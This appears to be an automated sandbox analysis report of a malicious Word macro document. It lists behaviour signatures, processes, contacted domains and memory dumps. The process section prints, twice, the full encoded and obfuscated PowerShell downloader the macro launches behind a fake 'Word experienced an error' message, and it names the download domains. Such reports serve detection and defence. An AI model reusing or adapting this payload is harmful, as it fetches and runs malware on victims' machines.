Analysis Overview
SHA256
04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912
Threat Level: Known bad
The file 04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Suspicious Office macro
Drops file in System32 directory
Drops file in Windows directory
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Checks processor information in registry
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: AddClipboardFormatListener
Suspicious use of AdjustPrivilegeToken
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-10 22:08
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-10 22:08
Reported
2024-11-10 22:09
Platform
win7-20241023-en
Max time kernel
54s
Max time network
56s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912.doc"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAdgAgACAATwBwAHEAdQA5ADIAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADQAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQAiACAALQBGACAAJwAuAEQAaQByAEUAJwAsACcAUwAnACwAJwBSAHkAJwAsACcATwAnACwAJwBZAFMAVABFAG0ALgBJACcALAAnAEMAVABPACcAKQAgACAAKQA7AFMAZQB0AC0AaQB0AGUATQAgAHYAQQByAGkAYQBCAEwAZQA6ADQATABhAGkAIAAoACAAWwB0AFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMQB9AHsAMAB9AHsANgB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAC4AUwBlAFIAdgAnACwAJwBFAE0ALgBuAGUAVAAnACwAJwBTAFQAJwAsACcARwAnACwAJwBzAFkAJwAsACcAZQBSACcALAAnAEkAYwBFAHAAbwBJAE4AVABtAEEATgBhACcAKQApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAJwArACcAbABlACcAKQArACcAbgB0ACcAKwAoACcAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFYAbgA2ADQAMABpAHMAPQAkAEQANQA5AFkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcANwBfAFYAOwAkAEYANgA4AE8APQAoACgAJwBVADQAJwArACcAMAAnACkAKwAnAFEAJwApADsAIAAgACgAIAAgAEcAZQB0AC0AYwBoAEkAbABkAGkAVABlAE0AIAB2AEEAcgBJAGEAYgBMAEUAOgBPAHAAcQB1ADkAMgAgACAAKQAuAHYAYQBMAFUARQA6ADoAIgBDAGAAUgBFAGEAYABUAGUAZABJAHIARQBDAGAAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBXAG0AJwArACcAMQBGAHgAOQAnACkAKwAnAHcAaQAnACsAKAAnAHcAMABXACcAKwAnAG0AJwApACsAKAAnADEAJwArACcAWABwACcAKQArACgAJwAyADgAJwArACcAcABzAGkAVwBtACcAKwAnADEAJwApACkALgAiAHIAYABlAFAAbABgAEEAQwBlACIAKAAoAFsAYwBIAGEAcgBdADgANwArAFsAYwBIAGEAcgBdADEAMAA5ACsAWwBjAEgAYQByAF0ANAA5ACkALAAnAFwAJwApACkAKQA7ACQATgAxADkARAA9ACgAKAAnAFAAJwArACcAMABfACcAKQArACcATwAnACkAOwAgACAAJAA0AGwAYQBpADoAOgAiAHMAZQBgAGMAdQBSAGkAdABZAHAAYABSAE8AYABUAG8AYABDAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUAA0ADIARAA9ACgAJwBOACcAKwAoACcANgA3ACcAKwAnAEIAJwApACkAOwAkAFQAegBiADIAbwBsADEAIAA9ACAAKAAnAEEAJwArACgAJwBfADkAJwArACcASwAnACkAKQA7ACQATQA5ADQAVAA9ACgAJwBPADcAJwArACcAMABLACcAKQA7ACQAQQA2AG0ANgBwAHEAeQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEYAeAA5AHcAJwArACgAJwBpACcAKwAnAHcAMAAnACkAKwAnAHsAMAB9AFgAcAAnACsAJwAyACcAKwAoACcAOABwACcAKwAnAHMAJwApACsAJwBpAHsAMAB9ACcAKQAtAGYAIABbAGMASABhAFIAXQA5ADIAKQArACQAVAB6AGIAMgBvAGwAMQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEMANwA3AEUAPQAoACcAQQAnACsAKAAnADcAJwArACcANQBBACcAKQApADsAJABFADQAcgBzAHgAcwB3AD0AKAAnAF0AZQAnACsAKAAnADEAcgAnACsAJwBbACcAKwAnAFMAOgAvAC8AJwApACsAJwBoAGEAJwArACgAJwBjAGkAJwArACcAYQBlAGwAcwB1ACcAKwAnAHAAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBpAG4AJwApACsAJwBjAGwAJwArACgAJwB1AGQAZQBzACcAKwAnAC8AJwApACsAJwBmACcAKwAoACcAaABQAGUAMAAnACsAJwAwAC8AQAAnACsAJwBdACcAKQArACcAZQAnACsAKAAnADEAcgBbACcAKwAnAFMAOgAnACsAJwAvAC8AZwAnACkAKwAoACcAdQBkAGEAJwArACcAZgAnACkAKwAoACcAdQAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AawAvAHgALwBAAF0AZQAnACsAJwAxAHIAWwAnACkAKwAoACcAUwBzADoAJwArACcALwAvAHIAYQAnACsAJwB5ACcAKQArACcAbQBvACcAKwAoACcAZAAnACsAJwB1AGwALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAFoAUAAnACkAKwAoACcAaQAnACsAJwBzADcAagAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxACcAKwAnAHIAWwBTACcAKQArACgAJwBzADoALwAnACsAJwAvAHQAZQBsACcAKQArACgAJwBlACcAKwAnAGwAbwBnACcAKwAnAGkAYwAnACkAKwAoACcAYQBsACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAHUAcwAnACsAJwBlACcAKwAnAHIAJwArACgAJwAvAFMAUAAnACsAJwAwAEgAJwApACsAKAAnAFgALwBAAF0AZQAnACsAJwAxAHIAJwApACsAKAAnAFsAJwArACcAUwBzADoALwAvACcAKwAnAHQAaAAnACkAKwAnAGkAJwArACcAbgBrACcAKwAoACcAaQBsACcAKwAnAHkALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwBjAHMAJwArACcAcwAvAE4ALwBAAF0AJwApACsAKAAnAGUAMQAnACsAJwByACcAKQArACcAWwAnACsAJwBTACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHQAaAAnACsAJwBlACcAKwAnAGwAbwAnACsAJwB2AGUAJwArACcAaQAnACsAJwBzACcAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcAbgBlAHQAdwAnACsAJwBvACcAKQArACcAcgAnACsAKAAnAGsALgBjAG8AJwArACcAbQAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACgAJwAvACcAKwAnAFoALwAnACkAKwAoACcAQABdAGUAMQByAFsAJwArACcAUwAnACsAJwBzADoAJwArACcALwAvACcAKQArACgAJwBpAG8AdAAnACsAJwBhACcAKQArACgAJwBjAGgAJwArACcAaQAnACsAJwBuAGEAJwArACcALgBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQBuAHQALwAnACkAKwAnAGoAJwArACcAWQAnACsAJwBLAGIAJwArACcAdQAnACsAJwBLAEcAJwArACcALwAnACkALgAiAFIAYABlAHAAbABgAEEAQwBFACIAKAAoACcAXQAnACsAKAAnAGUAJwArACcAMQByAFsAUwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABgAGwASQB0ACIAKAAkAFcANAA3AFgAIAArACAAJABWAG4ANgA0ADAAaQBzACAAKwAgACQASQA5ADkASAApADsAJABPADQANQBUAD0AKAAnAFcANgAnACsAJwAzAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAHYANQBjADUAdgBuACAAaQBuACAAJABFADQAcgBzAHgAcwB3ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAKQAuACIAZABvAFcAbgBgAEwAbwBBAEQAYABGAGAASQBMAGUAIgAoACQASAB2ADUAYwA1AHYAbgAsACAAJABBADYAbQA2AHAAcQB5ACkAOwAkAEIANgA4AFgAPQAoACgAJwBYACcAKwAnADAANQAnACkAKwAnAEYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEANgBtADYAcABxAHkAKQAuACIATABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAzADcAMAAyADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAQQA2AG0ANgBwAHEAeQAsACgAJwBDAG8AJwArACgAJwBuAHQAcgAnACsAJwBvACcAKQArACgAJwBsACcAKwAnAF8AUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgBUAE8AYABTAFQAYABSAGkATgBnACIAKAApADsAJABPADkAMwBOAD0AKAAnAEQAJwArACgAJwA1ACcAKwAnADcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAA3ADgAUgA9ACgAJwBHACcAKwAoACcAMABfACcAKwAnAFoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQA5AEUAPQAoACcAUAAnACsAKAAnADgANAAnACsAJwBIACcAKQApAA==
C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IAAgAHMAdgAgACAATwBwAHEAdQA5ADIAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADQAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQAiACAALQBGACAAJwAuAEQAaQByAEUAJwAsACcAUwAnACwAJwBSAHkAJwAsACcATwAnACwAJwBZAFMAVABFAG0ALgBJACcALAAnAEMAVABPACcAKQAgACAAKQA7AFMAZQB0AC0AaQB0AGUATQAgAHYAQQByAGkAYQBCAEwAZQA6ADQATABhAGkAIAAoACAAWwB0AFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMQB9AHsAMAB9AHsANgB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAC4AUwBlAFIAdgAnACwAJwBFAE0ALgBuAGUAVAAnACwAJwBTAFQAJwAsACcARwAnACwAJwBzAFkAJwAsACcAZQBSACcALAAnAEkAYwBFAHAAbwBJAE4AVABtAEEATgBhACcAKQApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAJwArACcAbABlACcAKQArACcAbgB0ACcAKwAoACcAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFYAbgA2ADQAMABpAHMAPQAkAEQANQA5AFkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcANwBfAFYAOwAkAEYANgA4AE8APQAoACgAJwBVADQAJwArACcAMAAnACkAKwAnAFEAJwApADsAIAAgACgAIAAgAEcAZQB0AC0AYwBoAEkAbABkAGkAVABlAE0AIAB2AEEAcgBJAGEAYgBMAEUAOgBPAHAAcQB1ADkAMgAgACAAKQAuAHYAYQBMAFUARQA6ADoAIgBDAGAAUgBFAGEAYABUAGUAZABJAHIARQBDAGAAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBXAG0AJwArACcAMQBGAHgAOQAnACkAKwAnAHcAaQAnACsAKAAnAHcAMABXACcAKwAnAG0AJwApACsAKAAnADEAJwArACcAWABwACcAKQArACgAJwAyADgAJwArACcAcABzAGkAVwBtACcAKwAnADEAJwApACkALgAiAHIAYABlAFAAbABgAEEAQwBlACIAKAAoAFsAYwBIAGEAcgBdADgANwArAFsAYwBIAGEAcgBdADEAMAA5ACsAWwBjAEgAYQByAF0ANAA5ACkALAAnAFwAJwApACkAKQA7ACQATgAxADkARAA9ACgAKAAnAFAAJwArACcAMABfACcAKQArACcATwAnACkAOwAgACAAJAA0AGwAYQBpADoAOgAiAHMAZQBgAGMAdQBSAGkAdABZAHAAYABSAE8AYABUAG8AYABDAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUAA0ADIARAA9ACgAJwBOACcAKwAoACcANgA3ACcAKwAnAEIAJwApACkAOwAkAFQAegBiADIAbwBsADEAIAA9ACAAKAAnAEEAJwArACgAJwBfADkAJwArACcASwAnACkAKQA7ACQATQA5ADQAVAA9ACgAJwBPADcAJwArACcAMABLACcAKQA7ACQAQQA2AG0ANgBwAHEAeQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEYAeAA5AHcAJwArACgAJwBpACcAKwAnAHcAMAAnACkAKwAnAHsAMAB9AFgAcAAnACsAJwAyACcAKwAoACcAOABwACcAKwAnAHMAJwApACsAJwBpAHsAMAB9ACcAKQAtAGYAIABbAGMASABhAFIAXQA5ADIAKQArACQAVAB6AGIAMgBvAGwAMQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEMANwA3AEUAPQAoACcAQQAnACsAKAAnADcAJwArACcANQBBACcAKQApADsAJABFADQAcgBzAHgAcwB3AD0AKAAnAF0AZQAnACsAKAAnADEAcgAnACsAJwBbACcAKwAnAFMAOgAvAC8AJwApACsAJwBoAGEAJwArACgAJwBjAGkAJwArACcAYQBlAGwAcwB1ACcAKwAnAHAAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBpAG4AJwApACsAJwBjAGwAJwArACgAJwB1AGQAZQBzACcAKwAnAC8AJwApACsAJwBmACcAKwAoACcAaABQAGUAMAAnACsAJwAwAC8AQAAnACsAJwBdACcAKQArACcAZQAnACsAKAAnADEAcgBbACcAKwAnAFMAOgAnACsAJwAvAC8AZwAnACkAKwAoACcAdQBkAGEAJwArACcAZgAnACkAKwAoACcAdQAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AawAvAHgALwBAAF0AZQAnACsAJwAxAHIAWwAnACkAKwAoACcAUwBzADoAJwArACcALwAvAHIAYQAnACsAJwB5ACcAKQArACcAbQBvACcAKwAoACcAZAAnACsAJwB1AGwALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAFoAUAAnACkAKwAoACcAaQAnACsAJwBzADcAagAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxACcAKwAnAHIAWwBTACcAKQArACgAJwBzADoALwAnACsAJwAvAHQAZQBsACcAKQArACgAJwBlACcAKwAnAGwAbwBnACcAKwAnAGkAYwAnACkAKwAoACcAYQBsACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAHUAcwAnACsAJwBlACcAKwAnAHIAJwArACgAJwAvAFMAUAAnACsAJwAwAEgAJwApACsAKAAnAFgALwBAAF0AZQAnACsAJwAxAHIAJwApACsAKAAnAFsAJwArACcAUwBzADoALwAvACcAKwAnAHQAaAAnACkAKwAnAGkAJwArACcAbgBrACcAKwAoACcAaQBsACcAKwAnAHkALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwBjAHMAJwArACcAcwAvAE4ALwBAAF0AJwApACsAKAAnAGUAMQAnACsAJwByACcAKQArACcAWwAnACsAJwBTACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHQAaAAnACsAJwBlACcAKwAnAGwAbwAnACsAJwB2AGUAJwArACcAaQAnACsAJwBzACcAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcAbgBlAHQAdwAnACsAJwBvACcAKQArACcAcgAnACsAKAAnAGsALgBjAG8AJwArACcAbQAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACgAJwAvACcAKwAnAFoALwAnACkAKwAoACcAQABdAGUAMQByAFsAJwArACcAUwAnACsAJwBzADoAJwArACcALwAvACcAKQArACgAJwBpAG8AdAAnACsAJwBhACcAKQArACgAJwBjAGgAJwArACcAaQAnACsAJwBuAGEAJwArACcALgBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQBuAHQALwAnACkAKwAnAGoAJwArACcAWQAnACsAJwBLAGIAJwArACcAdQAnACsAJwBLAEcAJwArACcALwAnACkALgAiAFIAYABlAHAAbABgAEEAQwBFACIAKAAoACcAXQAnACsAKAAnAGUAJwArACcAMQByAFsAUwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABgAGwASQB0ACIAKAAkAFcANAA3AFgAIAArACAAJABWAG4ANgA0ADAAaQBzACAAKwAgACQASQA5ADkASAApADsAJABPADQANQBUAD0AKAAnAFcANgAnACsAJwAzAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAHYANQBjADUAdgBuACAAaQBuACAAJABFADQAcgBzAHgAcwB3ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAKQAuACIAZABvAFcAbgBgAEwAbwBBAEQAYABGAGAASQBMAGUAIgAoACQASAB2ADUAYwA1AHYAbgAsACAAJABBADYAbQA2AHAAcQB5ACkAOwAkAEIANgA4AFgAPQAoACgAJwBYACcAKwAnADAANQAnACkAKwAnAEYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEANgBtADYAcABxAHkAKQAuACIATABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAzADcAMAAyADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAQQA2AG0ANgBwAHEAeQAsACgAJwBDAG8AJwArACgAJwBuAHQAcgAnACsAJwBvACcAKQArACgAJwBsACcAKwAnAF8AUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgBUAE8AYABTAFQAYABSAGkATgBnACIAKAApADsAJABPADkAMwBOAD0AKAAnAEQAJwArACgAJwA1ACcAKwAnADcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAA3ADgAUgA9ACgAJwBHACcAKwAoACcAMABfACcAKwAnAFoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQA5AEUAPQAoACcAUAAnACsAKAAnADgANAAnACsAJwBIACcAKQApAA==
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | haciaelsup.com | udp |
| ES | 185.66.41.127:80 | haciaelsup.com | tcp |
| ES | 185.66.41.127:443 | haciaelsup.com | tcp |
| ES | 185.66.41.127:443 | haciaelsup.com | tcp |
| US | 8.8.8.8:53 | gudafu.com | udp |
| HK | 124.156.117.232:80 | gudafu.com | tcp |
| US | 8.8.8.8:53 | raymodul.com | udp |
| US | 172.67.174.215:443 | raymodul.com | tcp |
| US | 8.8.8.8:53 | telelogical.com | udp |
| SK | 82.119.96.185:443 | telelogical.com | tcp |
| SK | 82.119.96.185:443 | telelogical.com | tcp |
| US | 8.8.8.8:53 | thinkily.com | udp |
| US | 172.67.215.117:443 | thinkily.com | tcp |
| US | 8.8.8.8:53 | theloveiskindnetwork.com | udp |
| US | 192.124.249.14:443 | theloveiskindnetwork.com | tcp |
| US | 192.124.249.14:443 | theloveiskindnetwork.com | tcp |
| US | 8.8.8.8:53 | iotachina.com | udp |
| US | 178.128.68.22:443 | iotachina.com | tcp |
Files
memory/1372-0-0x000000002F971000-0x000000002F972000-memory.dmp
memory/1372-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1372-2-0x000000007130D000-0x0000000071318000-memory.dmp
memory/1372-8-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-21-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-20-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-19-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-13-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-7-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-6-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-5-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-4-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-16-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-22-0x0000000000380000-0x0000000000480000-memory.dmp
memory/2860-28-0x000000001B5E0000-0x000000001B8C2000-memory.dmp
memory/2860-29-0x00000000026E0000-0x00000000026E8000-memory.dmp
memory/1372-30-0x000000007130D000-0x0000000071318000-memory.dmp
memory/1372-31-0x0000000000380000-0x0000000000480000-memory.dmp
memory/1372-32-0x0000000000380000-0x0000000000480000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-10 22:08
Reported
2024-11-10 22:09
Platform
win10v2004-20241007-en
Max time kernel
56s
Max time network
63s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
